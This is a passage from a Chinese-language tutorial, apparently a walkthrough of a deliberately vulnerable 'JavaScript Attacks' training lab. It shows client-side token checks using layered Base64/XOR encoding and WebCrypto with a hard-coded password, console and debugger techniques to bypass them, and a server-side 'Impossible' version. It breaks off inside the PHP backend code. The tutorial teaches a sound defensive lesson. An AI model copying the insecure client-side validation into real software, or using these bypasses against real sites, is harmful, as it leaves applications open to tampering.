class="string">&quot;&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; layer1.<span class="property">length</span>; i++) &#123;</span></span><br><span class="line"><span class="language-javascript">        layer2 += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(</span></span><br><span class="line"><span class="language-javascript">            layer1.<span class="title function_">charCodeAt</span>(i) ^ <span class="number">0x42</span></span></span><br><span class="line"><span class="language-javascript">        );</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 第三层：再次Base64</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> layer3 = <span class="title function_">btoa</span>(layer2);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> layer3;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ 问题：加密函数就在旁边 ★★★</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 攻击者可以直接调用解密</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">tripleDecrypt</span>(<span class="params">encrypted</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 第三层：Base64解码</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> layer2 = <span class="title function_">atob</span>(encrypted);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 第二层：XOR</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> layer1 = <span class="string">&quot;&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; layer2.<span class="property">length</span>; i++) &#123;</span></span><br><span class="line"><span class="language-javascript">        layer1 += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(</span></span><br><span class="line"><span class="language-javascript">            layer2.<span class="title function_">charCodeAt</span>(i) ^ <span class="number">0x42</span></span></span><br><span class="line"><span class="language-javascript">        );</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 第一层：Base64解码</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> original = <span class="title function_">atob</span>(layer1);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> original;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> multiEncryptedToken = <span class="title function_">tripleEncrypt</span>(<span class="string">&quot;success&quot;</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法3：使用WebCrypto API（看似安全）</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">deriveKey</span>(<span class="params">password</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 使用Web Crypto API ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// TextEncoder - 将字符串转换为Uint8Array</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> enc = <span class="keyword">new</span> <span class="title class_">TextEncoder</span>();</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 问题：密码仍在JavaScript中 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> keyMaterial = <span class="keyword">await</span> crypto.<span class="property">subtle</span>.<span class="title function_">importKey</span>(</span></span><br><span class="line"><span class="language-javascript">        <span class="string">&quot;raw&quot;</span>,</span></span><br><span class="line"><span class="language-javascript">        enc.<span class="title function_">encode</span>(password),</span></span><br><span class="line"><span class="language-javascript">        <span class="string">&quot;PBKDF2&quot;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="literal">false</span>,</span></span><br><span class="line"><span class="language-javascript">        [<span class="string">&quot;deriveBits&quot;</span>, <span class="string">&quot;deriveKey&quot;</span>]</span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// PBKDF2 - Password-Based Key Derivation Function 2</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 用于从密码派生密钥</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> crypto.<span class="property">subtle</span>.<span class="title function_">deriveKey</span>(</span></span><br><span class="line"><span class="language-javascript">        &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">name</span>: <span class="string">&quot;PBKDF2&quot;</span>,</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">salt</span>: enc.<span class="title function_">encode</span>(<span class="string">&quot;salt_value_12345&quot;</span>),</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">iterations</span>: <span class="number">100000</span>,</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">hash</span>: <span class="string">&quot;SHA-256&quot;</span></span></span><br><span class="line"><span class="language-javascript">        &#125;,</span></span><br><span class="line"><span class="language-javascript">        keyMaterial,</span></span><br><span class="line"><span class="language-javascript">        &#123; <span class="attr">name</span>: <span class="string">&quot;AES-GCM&quot;</span>, <span class="attr">length</span>: <span class="number">256</span> &#125;,</span></span><br><span class="line"><span class="language-javascript">        <span class="literal">false</span>,</span></span><br><span class="line"><span class="language-javascript">        [<span class="string">&quot;encrypt&quot;</span>, <span class="string">&quot;decrypt&quot;</span>]</span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">encryptToken</span>(<span class="params">plaintext</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> key = <span class="keyword">await</span> <span class="title function_">deriveKey</span>(<span class="string">&quot;my_secret_password&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> enc = <span class="keyword">new</span> <span class="title class_">TextEncoder</span>();</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> encoded = enc.<span class="title function_">encode</span>(plaintext);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ AES-GCM加密 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> iv = crypto.<span class="title function_">getRandomValues</span>(<span class="keyword">new</span> <span class="title class_">Uint8Array</span>(<span class="number">12</span>));</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> ciphertext = <span class="keyword">await</span> crypto.<span class="property">subtle</span>.<span class="title function_">encrypt</span>(</span></span><br><span class="line"><span class="language-javascript">        &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">name</span>: <span class="string">&quot;AES-GCM&quot;</span>,</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">iv</span>: iv</span></span><br><span class="line"><span class="language-javascript">        &#125;,</span></span><br><span class="line"><span class="language-javascript">        key,</span></span><br><span class="line"><span class="language-javascript">        encoded</span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 返回IV和密文</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">iv</span>: <span class="title class_">Array</span>.<span class="title function_">from</span>(iv),</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">ciphertext</span>: <span class="title class_">Array</span>.<span class="title function_">from</span>(<span class="keyword">new</span> <span class="title class_">Uint8Array</span>(ciphertext))</span></span><br><span class="line"><span class="language-javascript">    &#125;;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ 核心问题：解密函数也在客户端 ★★★</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">decryptToken</span>(<span class="params">encrypted</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> key = <span class="keyword">await</span> <span class="title function_">deriveKey</span>(<span class="string">&quot;my_secret_password&quot;</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> iv = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>(encrypted.<span class="property">iv</span>);</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> ciphertext = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>(encrypted.<span class="property">ciphertext</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> plaintext = <span class="keyword">await</span> crypto.<span class="property">subtle</span>.<span class="title function_">decrypt</span>(</span></span><br><span class="line"><span class="language-javascript">        &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">name</span>: <span class="string">&quot;AES-GCM&quot;</span>,</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">iv</span>: iv</span></span><br><span class="line"><span class="language-javascript">        &#125;,</span></span><br><span class="line"><span class="language-javascript">        key,</span></span><br><span class="line"><span class="language-javascript">        ciphertext</span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> dec = <span class="keyword">new</span> <span class="title class_">TextDecoder</span>();</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> dec.<span class="title function_">decode</span>(plaintext);</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 存储加密的token（但密码就在代码里）</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> cryptoToken = <span class="literal">null</span>;</span></span><br><span class="line"><span class="language-javascript"><span class="title function_">encryptToken</span>(<span class="string">&quot;success&quot;</span>).<span class="title function_">then</span>(<span class="function"><span class="params">encrypted</span> =&gt;</span> &#123;</span></span><br><span class="line"><span class="language-javascript">    cryptoToken = encrypted;</span></span><br><span class="line"><span class="language-javascript">&#125;);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 表单验证</span></span></span><br><span class="line"><span class="language-javascript"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;submitForm&#x27;</span>).<span class="title function_">addEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, <span class="keyword">async</span> <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    e.<span class="title function_">preventDefault</span>();</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> phrase = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;phrase&#x27;</span>).<span class="property">value</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 解密并验证</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> decrypted = <span class="keyword">await</span> <span class="title function_">decryptToken</span>(cryptoToken);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">if</span> (phrase === decrypted) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">            <span class="string">&#x27;&lt;p style=&quot;color:green;&quot;&gt;✓ Correct!&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">            <span class="string">&#x27;&lt;p style=&quot;color:red;&quot;&gt;✗ Wrong!&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">&#125;);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>代码混淆</strong> - 使用混淆器处理JavaScript</li><li><strong>多层加密</strong> - Base64 + XOR + Base64</li><li><strong>Web Crypto API</strong> - 使用浏览器加密API</li><li><strong>复杂逻辑</strong> - 增加逆向难度</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>根本问题：</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">无论加密多复杂，解密逻辑都在客户端！</span><br></pre></td></tr></table></figure><p><strong>具体问题：</strong></p><ol><li>混淆可以通过调试器分析</li><li>加密密钥存储在JavaScript中</li><li>解密函数可以直接调用</li><li>可以在运行时拦截数据</li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：反混淆工具"><a href="#方法1：反混淆工具" class="headerlink" title="方法1：反混淆工具"></a>方法1：反混淆工具</h4><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span> 复制混淆的代码</span><br><span class="line"><span class="bullet">2.</span> 使用在线反混淆工具：</span><br><span class="line"><span class="bullet">   -</span> https://deobfuscate.io/</span><br><span class="line"><span class="bullet">   -</span> https://beautifier.io/</span><br><span class="line"><span class="bullet">   -</span> Chrome DevTools的Pretty Print</span><br><span class="line"><span class="bullet">3.</span> 分析反混淆后的代码</span><br></pre></td></tr></table></figure><h4 id="方法2：调试器断点"><a href="#方法2：调试器断点" class="headerlink" title="方法2：调试器断点"></a>方法2：调试器断点</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Chrome DevTools中</span></span><br><span class="line"><span class="number">1.</span> 打开<span class="title class_">Sources</span>标签</span><br><span class="line"><span class="number">2.</span> 找到验证函数</span><br><span class="line"><span class="number">3.</span> 在关键行设置断点（如<span class="keyword">return</span>语句）</span><br><span class="line"><span class="number">4.</span> 提交表单触发断点</span><br><span class="line"><span class="number">5.</span> 查看变量值</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用debugger语句</span></span><br><span class="line"><span class="keyword">debugger</span>;</span><br><span class="line"><span class="keyword">var</span> decrypted = <span class="keyword">await</span> <span class="title function_">decryptToken</span>(cryptoToken);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(decrypted); <span class="comment">// 查看解密结果</span></span><br></pre></td></tr></table></figure><h4 id="方法3：直接调用解密函数"><a href="#方法3：直接调用解密函数" class="headerlink" title="方法3：直接调用解密函数"></a>方法3：直接调用解密函数</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中</span></span><br><span class="line"><span class="comment">// 方法1：简单加密</span></span><br><span class="line"><span class="keyword">var</span> decrypted = <span class="title function_">tripleDecrypt</span>(multiEncryptedToken);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(decrypted); <span class="comment">// &quot;success&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法2：Crypto API</span></span><br><span class="line"><span class="title function_">decryptToken</span>(cryptoToken).<span class="title function_">then</span>(<span class="function"><span class="params">result</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Decrypted:&#x27;</span>, result);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h4 id="方法4：运行时拦截"><a href="#方法4：运行时拦截" class="headerlink" title="方法4：运行时拦截"></a>方法4：运行时拦截</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 拦截函数调用</span></span><br><span class="line"><span class="keyword">var</span> originalFunction = tripleDecrypt;</span><br><span class="line">tripleDecrypt = <span class="keyword">function</span>(<span class="params">encrypted</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> result = <span class="title function_">originalFunction</span>(encrypted);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Intercepted decryption:&#x27;</span>, result);</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或修改函数输出</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;submitForm&#x27;</span>).<span class="property">addEventListener</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Form validation bypassed&#x27;</span>);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>所有验证在服务器端进行，客户端无敏感逻辑。</p><h3 id="前后端代码分析"><a href="#前后端代码分析" class="headerlink" title="前后端代码分析"></a>前后端代码分析</h3><p><strong>前端代码：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>JavaScript Attacks - Impossible<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>JavaScript Attack Test - Impossible<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>Submit the correct phrase<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">id</span>=<span class="string">&quot;submitForm&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">id</span>=<span class="string">&quot;phrase&quot;</span> <span class="attr">name</span>=<span class="string">&quot;phrase&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;Enter phrase&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span>&gt;</span>Submit<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;result&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ Impossible: 客户端只处理UI逻辑 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 完全不包含任何敏感信息</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 不进行任何业务验证</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;submitForm&#x27;</span>).<span class="title function_">addEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, <span class="keyword">async</span> <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        e.<span class="title function_">preventDefault</span>();</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 获取用户输入</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">var</span> phrase = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;phrase&#x27;</span>).<span class="property">value</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// ★★★ 核心改进：发送到服务器验证 ★★★</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 所有验证逻辑在服务器端</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 客户端只负责显示结果</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">try</span> &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">const</span> response = <span class="keyword">await</span> <span class="title function_">fetch</span>(<span class="string">&#x27;/api/validate&#x27;</span>, &#123;</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">headers</span>: &#123;</span></span><br><span class="line"><span class="language-javascript">                    <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">                    <span class="comment">// ★★★ CSRF Token ★★★</span></span></span><br><span class="line"><span class="language-javascript">                    <span class="string">&#x27;X-CSRF-Token&#x27;</span>: <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;meta[name=&quot;csrf-token&quot;]&#x27;</span>).<span class="property">content</span></span></span><br><span class="line"><span class="language-javascript">                &#125;,</span></span><br><span class="line"><span class="language-javascript">                <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(&#123; <span class="attr">phrase</span>: phrase &#125;)</span></span><br><span class="line"><span class="language-javascript">            &#125;);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">const</span> data = <span class="keyword">await</span> response.<span class="title function_">json</span>();</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// ★★★ 显示服务器返回的结果 ★★★</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 客户端不做任何判断</span></span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">if</span> (data.<span class="property">success</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">                <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">                    <span class="string">&#x27;&lt;p style=&quot;color:green;&quot;&gt;✓ &#x27;</span> + data.<span class="property">message</span> + <span class="string">&#x27;&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">            &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">                <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">                    <span class="string">&#x27;&lt;p style=&quot;color:red;&quot;&gt;✗ &#x27;</span> + data.<span class="property">message</span> + <span class="string">&#x27;&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">            &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        &#125; <span class="keyword">catch</span> (error) &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">                <span class="string">&#x27;&lt;p style=&quot;color:red;&quot;&gt;Error: &#x27;</span> + error.<span class="property">message</span> + <span class="string">&#x27;&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">        &#125;</span></span><br><span class="line"><span class="language-javascript">    &#125;);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 完全没有敏感数据 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 没有token</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 没有密钥</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 没有密码</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 没有业务逻辑</span></span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>后端代码（PHP）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span 